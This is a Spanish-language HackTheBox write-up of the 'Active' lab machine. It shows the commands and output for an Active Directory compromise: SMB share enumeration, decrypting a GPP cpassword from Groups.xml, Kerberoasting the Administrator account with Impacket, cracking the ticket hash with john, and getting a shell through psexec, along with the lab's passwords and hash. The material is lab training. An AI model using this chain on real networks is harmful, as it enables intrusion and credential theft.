Active - HackTheBox

Comencé haciendo un escaneo con Nmap para ver los puertos y servicios que tenía abiertos la máquina.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ nmap -sS --min-rate=5000 -v -Pn -n 10.10.10.100 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-02 15:56 CEST
Initiating SYN Stealth Scan at 15:56
Scanning 10.10.10.100 [1000 ports]
Discovered open port 139/tcp on 10.10.10.100
Discovered open port 445/tcp on 10.10.10.100
Discovered open port 53/tcp on 10.10.10.100
Discovered open port 135/tcp on 10.10.10.100
Discovered open port 464/tcp on 10.10.10.100
Discovered open port 389/tcp on 10.10.10.100
Discovered open port 49154/tcp on 10.10.10.100
Discovered open port 88/tcp on 10.10.10.100
Discovered open port 49153/tcp on 10.10.10.100
Discovered open port 49152/tcp on 10.10.10.100
Discovered open port 3268/tcp on 10.10.10.100
Discovered open port 49157/tcp on 10.10.10.100
Discovered open port 49155/tcp on 10.10.10.100
Discovered open port 636/tcp on 10.10.10.100
Discovered open port 49158/tcp on 10.10.10.100
Discovered open port 3269/tcp on 10.10.10.100
Discovered open port 593/tcp on 10.10.10.100
Completed SYN Stealth Scan at 15:56, 0.57s elapsed (1000 total ports)
Nmap scan report for 10.10.10.100
Host is up (0.12s latency).
Not shown: 983 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
           Raw packets sent: 1258 (55.352KB) | Rcvd: 1017 (40.748KB)

Como son muchos puertos hice uso de la utilidad extractports de s4vitar para extraer los puertos y copiarlos en el portapapeles.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ extractPorts allPorts                                       

[*] Extracting information...

	[*] IP Address: 10.10.10.100
	[*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,49152,49153,49154,49155,49157,49158

[*] Ports copied to clipboard

Efectúe otro escaneo con Nmap para detectar la versión y servicio de cada puerto.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,49152,49153,49154,49155,49157,49158 10.10.10.100 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-02 15:58 CEST
Nmap scan report for active.htb (10.10.10.100)
Host is up (0.083s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-02 13:58:25Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-02T13:59:22
|_  start_date: 2021-07-02T05:29:12

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.44 seconds

Al parecer estaba tratando con una máquina de “Active Directory”, enumere los recursos compartidos con smbmap.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ smbmap -H 10.10.10.100                   
[+] IP: 10.10.10.100:445	Name: active.htb                                        
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	NO ACCESS	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	Replication                                       	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share 
	Users                                             	NO ACCESS	

Tenía privilegios de lectura del recurso compartido “Replication”, accedí a él mediante smbclient.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ smbclient //10.10.10.100/Replication     
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 21 12:37:44 2018
  ..                                  D        0  Sat Jul 21 12:37:44 2018
  active.htb                          D        0  Sat Jul 21 12:37:44 2018

		10459647 blocks of size 4096. 5672398 blocks available

Había un directorio llamado active.htb, tras a acceder a múltiples carpetas dentro de active.htb encontré un Groups.xml.

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> dir
  .                                   D        0  Sat Jul 21 12:37:44 2018
  ..                                  D        0  Sat Jul 21 12:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 22:46:06 2018

		10459647 blocks of size 4096. 5659592 blocks available

Lo descargue con get para ver que tenía.

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml 
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1,1 KiloBytes/sec) (average 1,1 KiloBytes/sec)

Encontré un la clave de preferencias de política de grupo encriptada.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ cat Groups.xml                
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

La clave de cifrado de Microsoft fue expuesta, por lo que la podía desencriptar con gpp-decrypt.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18

Esta credencial me sirvió para acceder al recurso compartido Users mediante smbcclient haciendo uso del usuario SVC_TGS.

smbclient //10.10.10.100/Users -U SVC_TGS
Enter WORKGROUP\SVC_TGS's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sat Jul 21 16:39:20 2018
  ..                                 DR        0  Sat Jul 21 16:39:20 2018
  Administrator                       D        0  Mon Jul 16 12:14:21 2018
  All Users                       DHSrn        0  Tue Jul 14 07:06:44 2009
  Default                           DHR        0  Tue Jul 14 08:38:21 2009
  Default User                    DHSrn        0  Tue Jul 14 07:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 06:57:55 2009
  Public                             DR        0  Tue Jul 14 06:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 17:16:32 2018

		10459647 blocks of size 4096. 5752856 blocks available
smb: \> 

La flag del usuario estaba en “Desktop”.

smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> dir
  .                                   D        0  Sat Jul 21 17:14:42 2018
  ..                                  D        0  Sat Jul 21 17:14:42 2018
  user.txt                            A       34  Sat Jul 21 17:06:25 2018

		10459647 blocks of size 4096. 5725616 blocks available

smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)

ESCALADA DE PRIVILEGIOS

Ahora solo faltaba la escalada de privilegios, tenía Kerberos abierto, por lo que probé a “dumpear” el Tiquet de servicio del usuario Administrador mediante la herramienta GetUserSPNs.py.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request active.htb/SVC_TGS
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2021-07-02 14:02:15.297853             



$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$52c96a7ddddd702dae79bd0732934059$7735d53223943a5430499440d06612a7c6ee471b2f2cc4c653f1a3e2d8ab883f594b9cdc29ab44b5b7ab251ac0f34c41e38a8ece0d6e4a1c256319223b972d6bfbc203acd1622be80eb5fb85b65a7db42174b3b7ad6db2af3b0c0c8d18da1a0fc7cdeed73d1ef82737069808f606d76dcd36e361dd4d8b31fdcbdfad6574c1e91d79192d6c45ad0085d99daa56eec6d71f9c11e9c53d5f79db13ad07aa235927097c395b8af9c40b80a71bc89f3b2cc61affdd80993917601af9873bfe739f0f208540c8fdaebcf6e92609503405da2b15d57e878d1a004a96cb3ea067728d8818869166e92992b9a23dbda2ca9b4f87775ea85dfcd6baf0ca2d5dbfa6e41cbea009ee34b9348ca95d1e53a27c330e3e7ccc6dd20921869ef640977ba2feb99bf80a011f8e5bb3d873ebb5522f24a1f7dcd937ae68270472c99ee8694e1b7905a010e7357d551165d0a1e3cb43333f4c9fd5919e90681f2c1894c9b679120c8b05dafb1b85615031a9e35cc6a4d020e67bac06a36a0f24158f35f323c56fe08dc99f29bcb3e95722e7dc7ee848181bb22dd6e23e13639c7ac58e042d8c509a25c8aa7b9a9602e5d2875ec793134dcaf63b9e8b56646607369ad7f8de5b72ab985835b9f40d3546bdd8ce2252b48e027bb4f88cd3a8bf412edb7fcaeeff8b4d48e905320732a4811a6f11e9280edfc65ec6d40849e18305576cc0f41d6cc778a6f4f7bec0601b246cbf01da90204e5dafbd4c101a22a0f3d9fc01513d867f085fa5e18e96822fd7356d0441c7625a64851a460e21a2f65844476ca4cb475e0d00b952559766a53a4135cb113fb3dad27fb098ee39e2f5cb3ac61c6f0d999cabce7d85b8991ddfa34b2fcd6744d8d39cc580a2d08832967ee75f8f04dc82917803258b3ddd7aa551c7588fc6f758ceb61261d591e77333ce537cbeb9d5c4749cb3d5623d6caff555603d6d37a2ad530248996dde04bb237c2d177eb971941937ce8f75022b73623299440d658cf91d47a0717675a62c0fa2209438fb4d8dbd772068de84b5dc446baeff1a859e01a8702c8cee55a5cac2f18d1a6cb28b3f15657e173639fd31b8cf4f4164eb048a4edd98144bade4d305ca944dea76de38b24644dd5882f276d563dff2a451360fe9c91509f80254986be1801d3c2aff3af76e1ebf592b75f0c8b268b5599b0d7baa197be3ee81a8af4acbff620c40fb822ea54f372a0b033e596753ac007722eba845a94b803d4fcf04dc3c83f2

Perfecto ya lo tenía, le hice fuerza bruta con “john the ripper” y con un poco de suerte conseguí desencriptarlo.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:10 DONE (2021-07-02 16:13) 0.09140g/s 963229p/s 963229c/s 963229C/s Tiffani1432..Thurman16
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Probé a ver si esta credencial tenía acceso con psexec.py y al parecer si lo tenía.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator@active.htb
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file lXTmpLED.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service Igur on active.htb.....
[*] Starting service Igur.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

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